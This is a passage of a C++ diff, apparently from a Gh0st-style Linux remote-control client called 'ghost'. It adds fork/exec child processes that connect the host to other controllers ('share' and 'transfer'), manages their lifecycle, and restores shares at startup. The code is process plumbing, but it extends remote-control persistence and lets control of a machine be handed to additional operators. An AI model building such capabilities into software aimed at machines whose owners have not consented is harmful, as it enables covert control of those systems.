(!g_shareReaperStop.load(std::memory_order_relaxed)) { + { + std::lock_guard lk(g_shareMu); + for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) { + int st = 0; + pid_t r = waitpid(it->second.pid, &st, WNOHANG); + if (r == it->second.pid) { + const char* kind = it->second.transfer ? "Transfer instance" : "Share instance"; + if (WIFEXITED(st)) + Mprintf(">>> %s %s exited (code %d)\n", + kind, it->first.c_str(), WEXITSTATUS(st)); + else if (WIFSIGNALED(st)) + Mprintf(">>> %s %s exited by signal %d\n", + kind, it->first.c_str(), WTERMSIG(st)); + else + Mprintf(">>> %s %s exited\n", kind, it->first.c_str()); + it = g_shareProcs.erase(it); + } else if (r < 0 && errno == ECHILD) { + it = g_shareProcs.erase(it); // 已被别处收走(防御) + } else { + ++it; + } + } + } + for (int i = 0; i < 10 && !g_shareReaperStop.load(std::memory_order_relaxed); ++i) + Sleep(100); + } +} + +static void EnsureShareReaper() +{ + static std::once_flag once; + std::call_once(once, [] { g_shareReaperThread = std::thread(ShareReaperLoop); }); +} + +// fork + execv 拉起一个分享子进程。fork 之后只做 async-signal-safe 调用(参数数组、 +// fd 上限、路径都在 fork 前准备好),日志一律不碰——和 daemonize() 里踩过的 +// 「fork 时日志线程持锁」是同一类坑。 +static pid_t SpawnShareProcess(const std::string& entry) +{ + std::string exe = getExePath(); + if (exe.empty()) { + Mprintf("** SHARE: cannot resolve own executable path ***\n"); + return -1; + } + std::string flag = "--share"; + std::vector args; + args.push_back(&exe[0]); + args.push_back(&flag[0]); + args.push_back(const_cast(entry.c_str())); + args.push_back(nullptr); + + long maxFd = sysconf(_SC_OPEN_MAX); + if (maxFd < 0 || maxFd > 65536) maxFd = 65536; + + pid_t pid = fork(); + if (pid < 0) { + Mprintf("** SHARE: fork failed: %s ***\n", strerror(errno)); + return -1; + } + if (pid == 0) { + // 主实例被 SIGKILL 时也要跟着退,别留下孤儿分享连接一直挂在目标主控上 + prctl(PR_SET_PDEATHSIG, SIGTERM); + if (getppid() == 1) _exit(1); // fork 与 prctl 之间主实例已经没了 + setsid(); + int devnull = open("/dev/null", O_RDWR); + if (devnull >= 0) { + dup2(devnull, STDIN_FILENO); + dup2(devnull, STDOUT_FILENO); + dup2(devnull, STDERR_FILENO); + if (devnull > STDERR_FILENO) close(devnull); + } + // 关掉继承的 socket / 日志 fd:子进程要用自己的连接和自己的日志文件 + for (long f = STDERR_FILENO + 1; f < maxFd; ++f) + close((int)f); + execv(exe.c_str(), args.data()); + _exit(127); // exec 失败:主实例日志里能看到子进程立刻退出 + } + return pid; +} + +// 子进程还活着吗?僵尸也算「已退出」:kill(pid, 0) 对僵尸仍然成功,会把一个已经 +// 死掉、只等 reaper 收尸的空槽当成在跑,随后同一目标的重复下发被静默丢掉。 +// 调用方须持有 g_shareMu(reaper 线程也用同一把锁做 waitpid,不会两边抢收尸)。 +static bool ChildAliveLocked(pid_t pid) +{ + int st = 0; + pid_t r = waitpid(pid, &st, WNOHANG); + return r == 0; // 0 = 还在跑;=pid 本次已收尸;-1/ECHILD = reaper 已收走 +} + +// 结束一个子进程:SIGTERM 最多等 3 秒,不走再 SIGKILL 等 1 秒。调用方须持有 g_shareMu。 +// 不做无限期阻塞 waitpid:万一是 D 状态的进程,卡住的就是整个命令处理线程。 +static void TerminateChildLocked(pid_t pid) +{ + if (!ChildAliveLocked(pid)) + return; + kill(pid, SIGTERM); + for (int i = 0; i < 30; ++i) { + Sleep(100); + if (!ChildAliveLocked(pid)) + return; + } + kill(pid, SIGKILL); + for (int i = 0; i < 10; ++i) { + Sleep(100); + if (!ChildAliveLocked(pid)) + return; + } + Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid); +} + +// 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port", +// 这样转移目标与分享目标相同也不会互相顶掉。 +static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer) +{ + EnsureShareReaper(); + + std::lock_guard lk(g_shareMu); + auto it = g_shareProcs.find(key); + if (it != g_shareProcs.end()) { + // 完全相同的记录且子进程还活着:什么都不用做(与 Windows 的 identical 分支一致)。 + // 否则重复下发一次分享就会白断一次连接。 + if (it->second.entry == entry && ChildAliveLocked(it->second.pid)) { + Mprintf(">>> Connection to %s already running (pid %d), unchanged\n", + key.c_str(), (int)it->second.pid); + return true; + } + // 同一目标已经有一条连接(或旧连接已死):先收掉旧的再起新的, + // 否则同一个 clientID 会有两条连接互相踢。 + Mprintf(">>> Connection to %s already running (pid %d), restarting as %s\n", + key.c_str(), (int)it->second.pid, entry.c_str()); + TerminateChildLocked(it->second.pid); + g_shareProcs.erase(it); + } + + pid_t pid = SpawnShareProcess(entry); + if (pid <= 0) + return false; + g_shareProcs[key] = ShareProc{ pid, entry, transfer }; + Mprintf(">>> %s instance started: %s (pid %d)\n", + transfer ? "Transfer" : "Share", entry.c_str(), (int)pid); + return true; +} + +static bool StartShareInstance(const std::string& entry) +{ + HostShare::Endpoint ep; + if (!HostShare::DecodeEntry(entry, ep)) + return false; + const std::string shareKey = HostShare::MasterKey(ep); + { + // 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。 + // 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。 + const std::string transferKey = "transfer:" + shareKey; + std::lock_guard lk(g_shareMu); + auto it = g_shareProcs.find(transferKey); + if (it != g_shareProcs.end()) { + Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n", + shareKey.c_str(), (int)it->second.pid); + TerminateChildLocked(it->second.pid); + g_shareProcs.erase(it); + } + } + return SpawnManagedChild(shareKey, entry, false); +} + +// 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去), +// 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。 +static bool StartTransferInstance(const std::string& entry) +{ + HostShare::Endpoint ep; + if (!HostShare::DecodeEntry(entry, ep)) + return false; + const std::string shareKey = HostShare::MasterKey(ep); + { + // 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机, + // 两条同 clientID 的连接只会互相踢。 + std::lock_guard lk(g_shareMu); + auto it = g_shareProcs.find(shareKey); + if (it != g_shareProcs.end() && !it->second.transfer + && ChildAliveLocked(it->second.pid)) { + Mprintf(">>> Transfer target %s already reachable via share instance " + "(pid %d), extra connection skipped\n", + shareKey.c_str(), (int)it->second.pid); + return true; + } + } + return SpawnManagedChild("transfer:" + shareKey, entry, true); +} + +// 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出, +// 3 秒还不走就 SIGKILL(再等 1 秒)。 +// 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。 +static void StopChildren(ManagedKind kind) +{ + auto match = [kind](const ShareProc& p) { + return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER); + }; + + std::vector pids; + { + std::lock_guard lk(g_shareMu); + for (auto& kv : g_shareProcs) + if (match(kv.second)) + pids.push_back(kv.second.pid); + for (pid_t pid : pids) + kill(pid, SIGTERM); // 只发信号,不等待 + } + if (pids.empty()) + return; + Mprintf(">>> Stopping %d child connection(s)\n", (int)pids.size()); + + // 收尸可能已被 reaper 线程抢先(ECHILD),一律按「已退出」处理。 + auto exited = [](pid_t pid) { + int st = 0; + pid_t r = waitpid(pid, &st, WNOHANG); + return r == pid || (r < 0 && errno == ECHILD); + }; + auto waitGone = [&](int rounds) { + std::vector left; + for (int i = 0; i < rounds; ++i) { + left.clear(); + for (pid_t pid : pids) + if (!exited(pid)) left.push_back(pid); + if (left.empty()) break; + Sleep(100); + } + left.clear(); + for (pid_t pid : pids) + if (!exited(pid)) left.push_back(pid); + return left; + }; + + std::vector left = waitGone(30); + for (pid_t pid : left) + kill(pid, SIGKILL); + if (!left.empty()) + left = waitGone(10); + if (!left.empty()) + Mprintf(">>> %d child connection(s) still alive after SIGKILL\n", (int)left.size()); + + std::lock_guard lk(g_shareMu); + for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) { + // 只摘掉本次停掉的 pid:等待期间可能已经起了新目标,按 kind 删会误伤。 + if (std::find(pids.begin(), pids.end(), it->second.pid) != pids.end()) + it = g_shareProcs.erase(it); + else + ++it; + } +} + +// 启动时恢复上次的分享(重启前没取消的条目)。 +static void StartShareInstancesFromConfig() +{ + LinuxConfig cfg; + auto items = HostShare::Split(cfg.GetStr("share_list")); + if (items.size() > kMaxShareEntries) { + Mprintf(">>> share_list has %d entries, only the first %d are restored\n", + (int)items.size(), (int)kMaxShareEntries); + items.resize(kMaxShareEntries); + } + for (auto& entry : items) { + Mprintf(">>> Restoring share: %s\n", entry.c_str()); + StartShareInstance(entry); + } +} + // ============== 客户端自升级(COMMAND_UPDATE) ============== // 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有): // [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex] @@ -1313,12 +1698,27 @@ static void RefreshLoginCaps(LOGIN_INFOR& info) // 用法: ./ghost [-d] [IP] [端口] // -d 后台守护进程模式 +// --share 分享实例(由主实例 fork+exec 拉起,不是给 +// 人用的入口):连分享目标主控,不写 PID 文件、不处理分享/转移/升级命令。 // 示例: ./ghost -d 192.168.1.100 6543 int main(int argc, char* argv[]) { g_argc = argc; g_argv = argv; + // 分享子进程优先解析:它只有一个 --share 参数,不参与 -d / 位置参数那一套。 + HostShare::Endpoint shareTarget; + for (int i = 1; i < argc; ++i) { + if (strcmp(argv[i], "--share") != 0) + continue; + if (i + 1 >= argc || !HostShare::DecodeEntry(argv[i + 1], shareTarget)) { + fprintf(stderr, "ghost: invalid --share argument\n"); + return 1; + } + g_bShareInstance = true; + break; + } + // 解析 -d 参数 bool daemon_mode = false; int argStart = 1; @@ -1327,7 +1727,10 @@ int main(int argc, char* argv[]) argStart = 2; } - if (argStart + 1 < argc) { + if (g_bShareInstance) { + // 分享实例的连接参数来自 --share,其余(机器身份、配置、日志目录)与主实例相同 + HostEndpoint::ApplyEndpoint(g_SETTINGS, shareTarget); + } else if (argStart + 1 < argc) { g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1])); } else if (argStart < argc) { g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort()); @@ -1345,14 +1748,21 @@ int main(int argc, char* argv[]) // 信号处理 setupSignals(); - // 写 PID 文件(守护进程模式下 PID 已变为子进程的) - writePidFile(); + // 写 PID 文件(守护进程模式下 PID 已变为子进程的)。分享实例共用同一份配置, + // 写 PID 文件会把主实例的覆盖掉,退出时也会把它删掉——只有主实例才写。 + if (!g_bShareInstance) + writePidFile(); // 上次的「转移主机」还没到期就改连目标主控(原地址记在内存里,过期后恢复)。 // 必须在 daemonize() 之后:它在有记录时会打日志,而 fork 时若日志线程正持有 // 内部锁,子进程会永远卡在那把锁上(实测 -d 启动后只剩一行 fork 前的日志, // 父子进程都停在 futex)。fork 之前一律不碰 Logger。 - InitTransferState(); + // 分享实例不读转移记录:转移属于主连接,读了会把分享链路带到别的主控去。 + if (!g_bShareInstance) { + InitTransferState(); + // 上次没收走的分享(取消分享或主实例正常退出才会清)在这里重新拉起 + StartShareInstancesFromConfig(); + } Mprintf("Server: %s:%d (PID: %d%s)\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(), @@ -1505,6 +1915,10 @@ int main(int argc, char* argv[]) Sleep(5000); continue; } + // 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一 + // clientID 在这个主控上的第二条连接,服务端会互踢。 + if (g_transferValidTo.load(std::memory_order_relaxed) > 0) + StopChildren(KIND_TRANSFER); // 进入新连接,重置服务端身份校验状态 ClientAuth::OnNewConnection(); @@ -1622,7 +2036,19 @@ int main(int argc, char* argv[]) Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit); } + // 主实例退出:先收掉分享/转移子进程(它们各有一条连向目标主控的连接),再停日志。 + // 分享实例自己不持有任何子进程,也不碰 PID 文件。 + if (!g_bShareInstance) { + // 顺序不能反:先让收尸线程停下并 join,再杀子进程——否则子进程退出时它还会 + // 往(马上要停的)日志里写一行。 + g_shareReaperStop.store(true, std::memory_order_relaxed); + if (g_shareReaperThread.joinable()) + g_shareReaperThread.join(); + StopChildren(KIND_ALL); + } + Logger::getInstance().stop(); - removePidFile(); + if (!g_bShareInstance) + removePidFile(); return 0; }